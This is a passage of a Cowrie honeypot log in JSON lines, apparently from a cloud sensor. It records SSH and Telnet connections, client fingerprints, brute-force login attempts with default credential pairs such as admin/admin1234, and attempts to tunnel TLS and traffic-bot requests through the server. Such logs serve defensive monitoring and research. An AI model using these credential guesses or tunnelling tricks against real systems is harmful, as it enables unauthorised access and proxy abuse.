m@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:08.675998Z","src_ip":"27.71.230.31","session":"4f9cecd9e66c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:09.209457Z","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:09.495811Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\x19\\x84}\\n\\xbf\\\\\\xc0\\xdf%\\xd7z\\xc4\\xd6|0Q\\x02\\x8e\\xa2\\x11\\x90/\\x1bg\\x9a/\\xa4\\xd2\\xd8q0 \\x86\\xe9v\\xd8\\xd1\\xcf\\x13Wu\\xda\\xe6\\xa0\\xb8P\\xea\\x95\\xa5\\x84\\x84\\x11\\x89+<\\xc9\\xab\\xda;\\xfd\\xba|\\xee|\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 N^\\xd8\\xad\\xae\\xec\\x1f\\xb33\\xf4\\xf5IhIH\\xb79D\\x13\\xa0\\xf97m3\\x10\\xf9&\\x14\\xfa\\x93gm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb4\\x19\\x84}\\n\\xbf\\\\\\xc0\\xdf%\\xd7z\\xc4\\xd6|0Q\\x02\\x8e\\xa2\\x11\\x90/\\x1bg\\x9a/\\xa4\\xd2\\xd8q0 \\x86\\xe9v\\xd8\\xd1\\xcf\\x13Wu\\xda\\xe6\\xa0\\xb8P\\xea\\x95\\xa5\\x84\\x84\\x11\\x89+<\\xc9\\xab\\xda;\\xfd\\xba|\\xee|\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 N^\\xd8\\xad\\xae\\xec\\x1f\\xb33\\xf4\\xf5IhIH\\xb79D\\x13\\xa0\\xf97m3\\x10\\xf9&\\x14\\xfa\\x93gm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:09.499921Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:09.893194Z","src_ip":"113.164.152.20","session":"5b0128e4632b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:10.827846Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$123456","message":"login attempt [root/admin$123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:11.551322Z","src_ip":"27.71.230.31","session":"4f9cecd9e66c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"54321","message":"login attempt [odoo/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:11.617586Z","src_ip":"91.92.40.36","session":"dda273d1987f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:12.982177Z","src_ip":"27.71.230.31","session":"4f9cecd9e66c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35368,"dst_ip":"159.203.135.109","dst_port":22,"session":"338cef5dd6fd","protocol":"ssh","message":"New connection: 91.92.40.36:35368 (159.203.135.109:22) [session: 338cef5dd6fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:13.539935Z"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:13.735931Z","src_ip":"91.92.40.36","session":"dda273d1987f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:13.753612Z","src_ip":"91.92.40.36","session":"338cef5dd6fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:14.161708Z","src_ip":"91.92.40.36","session":"338cef5dd6fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33544,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad3e1091ee80","protocol":"telnet","message":"New connection: 107.6.151.170:33544 (159.203.135.109:23) [session: ad3e1091ee80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:14.309698Z"}
{"eventid":"cowrie.login.failed","username":"elena","password":"elena","message":"login attempt [elena/elena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:14.790466Z","src_ip":"91.92.40.36","session":"338cef5dd6fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:16.216663Z","src_ip":"91.92.40.36","session":"338cef5dd6fd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:16.569380Z","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:16.624788Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 11_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/15C202 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=I0IvRzhAUF5xVHQwcEQzfQ%3D%3DJ6JpKKeuQesiEO%2FEIQyHStyPVJbLJ48pOx9L95EbYgEvJJjSN0btk0uhEmE%2BydL8xJXZ%2BtwoLinYacYR2A1e%2FMamKoABpJhxGrKHzboOORJKLtLK2X92iIMbidjYC3GD3n37jWphfh0c24F4PrfnXxjaqPAIvfTyRU3gSFiMlExnSMB%2FHs5klRFRwTjjUmLVdbP4FD7FjWKydPblfEjT%2BxNkvZznzdOTVEZ3EzGAByojDTe7DA02paaKZvMi44BfviP6OcB%2FPz9mziki%2FPvtitpLQXwXZSULMvKV2noZTeDfOAHSfC3PZERNwr7agrfFXXtaU2nBsurB7hQuWW2hKJ%2BIAntWBspjjF%2F1jpNTZJGdgCjBkPlJNzIH9F4OZf%2B6b%2FmtbL4SLm%2Br7MhC6bQT4Vbjd0Un4WAZ8Ppuzwcs0k9oqgapMrVA8QKUw8L2isLOgj3Uc4oZnq3imypOyiITUe0pQt%2FJ51WQqIlLPuZDDF110jEM0VlyrW9UDYzB9jOncwvbg5KEDbUA0QpTDsskQ4Vk1NswqGywF4M6BCE4oezi4K4jB3fEjZS%2B%2FRmDel9kqPSKIorf3X90L8f5BY%2FioSDb8TYzr6rpbjGCuHuYbtgLAYYyghLjEVdNnIZoS5Ht%2F5U8uOEpmCWaJ1YXfT1459Yz7l1ZjM%2BQjEyjZHZ%2FCpxcseWL1bXyMgCIxntZRZXG8plZDedUupZXWSbZMlBbF%2FpOkBNnTDkh%2FEnJY%2FLuGXy4wQjpWapy%2Bz42TQVpVxtLEnHsu8rBs2sgIrdT7PGdbluwD9edI%2F%2FHk1Ve4Kkhy0R2kOjfq1rG5QHrp1kHlRt0qDcKDhKnfWrPtkmKODMpnO8aZBYUkZwrImRtuCYxaX1bT%2Brh9%2FC%2FF1W5QwmhtI4GpuJvuKpj7FAdQo%2BhuvsRbCmpxXlfFSimEJcH81IXza6NtYglEENGOw6lo8as8CPWZ8gUcS6EzbT%2BrXk%2BwJr6Q4bKWnF1qexprW7KoViUbEg6tp7QNfqmvpP%2FvOWbPHKvbx3gGKWusCUSqIFpYhyswXS8bQrzGPm5CNlHmEJN5wQ%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 11_2_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.75 Mobile/15C202 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1166\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=I0IvRzhAUF5xVHQwcEQzfQ%3D%3DJ6JpKKeuQesiEO%2FEIQyHStyPVJbLJ48pOx9L95EbYgEvJJjSN0btk0uhEmE%2BydL8xJXZ%2BtwoLinYacYR2A1e%2FMamKoABpJhxGrKHzboOORJKLtLK2X92iIMbidjYC3GD3n37jWphfh0c24F4PrfnXxjaqPAIvfTyRU3gSFiMlExnSMB%2FHs5klRFRwTjjUmLVdbP4FD7FjWKydPblfEjT%2BxNkvZznzdOTVEZ3EzGAByojDTe7DA02paaKZvMi44BfviP6OcB%2FPz9mziki%2FPvtitpLQXwXZSULMvKV2noZTeDfOAHSfC3PZERNwr7agrfFXXtaU2nBsurB7hQuWW2hKJ%2BIAntWBspjjF%2F1jpNTZJGdgCjBkPlJNzIH9F4OZf%2B6b%2FmtbL4SLm%2Br7MhC6bQT4Vbjd0Un4WAZ8Ppuzwcs0k9oqgapMrVA8QKUw8L2isLOgj3Uc4oZnq3imypOyiITUe0pQt%2FJ51WQqIlLPuZDDF110jEM0VlyrW9UDYzB9jOncwvbg5KEDbUA0QpTDsskQ4Vk1NswqGywF4M6BCE4oezi4K4jB3fEjZS%2B%2FRmDel9kqPSKIorf3X90L8f5BY%2FioSDb8TYzr6rpbjGCuHuYbtgLAYYyghLjEVdNnIZoS5Ht%2F5U8uOEpmCWaJ1YXfT1459Yz7l1ZjM%2BQjEyjZHZ%2FCpxcseWL1bXyMgCIxntZRZXG8plZDedUupZXWSbZMlBbF%2FpOkBNnTDkh%2FEnJY%2FLuGXy4wQjpWapy%2Bz42TQVpVxtLEnHsu8rBs2sgIrdT7PGdbluwD9edI%2F%2FHk1Ve4Kkhy0R2kOjfq1rG5QHrp1kHlRt0qDcKDhKnfWrPtkmKODMpnO8aZBYUkZwrImRtuCYxaX1bT%2Brh9%2FC%2FF1W5QwmhtI4GpuJvuKpj7FAdQo%2BhuvsRbCmpxXlfFSimEJcH81IXza6NtYglEENGOw6lo8as8CPWZ8gUcS6EzbT%2BrXk%2BwJr6Q4bKWnF1qexprW7KoViUbEg6tp7QNfqmvpP%2FvOWbPHKvbx3gGKWusCUSqIFpYhyswXS8bQrzGPm5CNlHmEJN5wQ%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:16.627331Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.92235970497131,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:20.040201Z","src_ip":"172.81.62.90","session":"7fabd9496009","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50594,"dst_ip":"159.203.135.109","dst_port":22,"session":"c69dee25faac","protocol":"ssh","message":"New connection: 91.92.40.36:50594 (159.203.135.109:22) [session: c69dee25faac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.397437Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.473086Z","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:49:21.507092Z","src_ip":"173.208.188.210","session":"3cf05b03d2d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xderB7\\x03\\xe7\\x85\\x15\\x16\\x0f\\xb5\\x8f\\xfeX\\x19\\x9f\\xde\\x0b\\x89\\xaa<gosw;\\xa7\\x89\\x94\\xb1\\xdb\\x1a \\xec\\xff|\\xcd\\xac\\x85R*\\x1e\\x9c\\xfe\\xf6\\xea\\x95+\\x83\\xaf\\x89U;\\xca+\\xac.\\x91\\x0c\\xc5N\\x96\\xc8\\xb9R\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf7L\\x98Mw\\x92:\\xbc\\x14M>18(6H'\\x06\\x9a\\x1a\\x11\\xc8]!\\xb8+\\xaf\\x90dG\\xb80\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xderB7\\x03\\xe7\\x85\\x15\\x16\\x0f\\xb5\\x8f\\xfeX\\x19\\x9f\\xde\\x0b\\x89\\xaa<gosw;\\xa7\\x89\\x94\\xb1\\xdb\\x1a \\xec\\xff|\\xcd\\xac\\x85R*\\x1e\\x9c\\xfe\\xf6\\xea\\x95+\\x83\\xaf\\x89U;\\xca+\\xac.\\x91\\x0c\\xc5N\\x96\\xc8\\xb9R\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 